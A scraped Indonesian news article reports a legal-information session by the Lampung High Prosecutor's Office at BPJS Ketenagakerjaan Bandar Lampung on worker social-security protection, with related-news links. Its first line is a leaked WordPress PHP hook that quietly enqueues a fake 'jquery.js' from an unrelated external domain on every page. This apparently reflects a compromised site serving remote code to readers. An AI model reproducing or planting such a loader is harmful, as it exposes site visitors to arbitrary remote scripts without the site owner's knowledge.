add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Lindungi dan Sejahterakan Pekerja, Kejati Penerangan Hukum di BPJS Ketenagakerjaan Kota Bandar Lampung - Atmosfirnews.id

Lindungi dan Sejahterakan Pekerja, Kejati Penerangan Hukum di BPJS Ketenagakerjaan Kota Bandar Lampung

- Jurnalis

Kamis, 21 Agustus 2025 - 08:57 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

LAMPUNG – Atmosfirnews.id

Seksi Penerangan Hukum Bidang Asisten Intelijen Kejaksaan Tinggi Lampung bersama BPJS Ketenagakerjaan Kota Bandar Lampung diskusi bersama dalam rangka penerangan hukum dengan bertajuk Lindungi dan Sejahterakan Pekerja, pada hari Rabu tanggal 20 Agustus 2025.

BPJS Ketenagakerjaan merupakan bagian dari program jaminan sosial ketenagakerjaan yang memberikan manfaat perlindungan bagi pekerja dan ahli waris dari risiko kecelakaan kerja, kematian, pensiun, dan hari tua, sebagaimana telah diatur dalam Peraturan Pemerintah.

Dalam perspektif hukum ketenagakerjaan, negara memiliki kewajiban konstitusional dan moral untuk menjamin perlindungan atas hak-hak normatif pekerja. Amanat ini tercantum tegas dalam Pasal 27 Ayat (2) dan Pasal 28D Ayat (2) UUD 1945 yang menyatakan bahwa tiap warga negara berhak atas pekerjaan dan penghidupan yang layak. Salah satu instrumen utama dalam perlindungan itu adalah keberadaan BPJS Ketenagakerjaan, lembaga jaminan sosial negara yang dibentuk berdasarkan amanat UU No. 24 Tahun 2011 tentang BPJS.

Baca Juga :  HUT IWO Ke 12, Ketua PD IWO Tubaba Sasar Rumah Warga Kurang Mampu, Salurkan Bantuan Paket Sembako

Namun dalam pelaksanaannya, jaminan sosial ketenagakerjaan justru menyisakan banyak persoalan hukum yang kompleks. Mulai dari mal administrasi, pembiaran atas pelanggaran hak pekerja, lemahnya sanksi hukum terhadap pemberi kerja yang abai, hingga permasalahan pengelolaan dana publik yang berpotensi melanggar prinsip kehati-hatian dan transparansi.

Kepala BPJS Ketenagakerjaan Bandar Lampung M. Nuh mengapresiasi Seksi Penkum Kejati Lampung untuk diskusi bersama dalam program penerangan hukum untuk memberikan wawasan tentang hukum dalam penyelenggaraan kegiatan organisasinya.

Kasi Penkum Kejati Lampung Ricky Ramadhan, SH, MH, dalam penjelasannya menyampaikan bahwa Penerangan Hukum ini merupakan sinergitas bersama dalam upaya memberikan masukan-masukan terkait penyelenggaraan BPJS Ketenagakerjaan dan Tantangan Perlindungan Hukum bagi Pekerja.

Baca Juga :  Mantan Kadispora dan Kadispora Pringsewu Saling Lempar Bola Panas, Gepak Lampung Siap Kawal

Kegiatan ini sebagai pemateri, yaitu Jaksa Ahli Utama Pratama Effi Harnida, SH, MH., Jaksa Ahli Madya Gilar Suryaningtyas, SH., Jaksa Ahli Muda Agung Prabudi JS, SH, MH., Humas Ahli Muda M.Isa Ansori, SKom, SH, MH., beserta Tim Penyuluhan Hukum Kejati Lampung.

Jaminan sosial ketenagakerjaan berperan penting dalam menjaga keberlangsungan hidup pekerja ketika mengalami kecelakaan kerja, menjadi korban PHK, atau memasuki masa pensiun. Program ini juga memberikan perlindungan keberlangsungan kehidupan yang baik kepada keluarga yang ditinggalkan pencari nafkah karena meninggal dunia. Kami berharap program jaminan sosial ketenagakerjaan ini mampu memberikan perlindungan sosial yang bermanfaat serta turut mencegah dan mengentaskan kemiskinan.

 

Penulis : Redaksi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Setelah Dioperasikan Tanpa Tarif, Tol Betung-Tempino-Jambi Seksi Bayung Lencir-Pijoan akan diberlakukan tarif
Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Berita ini 16 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 19:56 WIB

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Minggu, 23 Agustus 2026 - 12:23 WIB

Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Berita Terbaru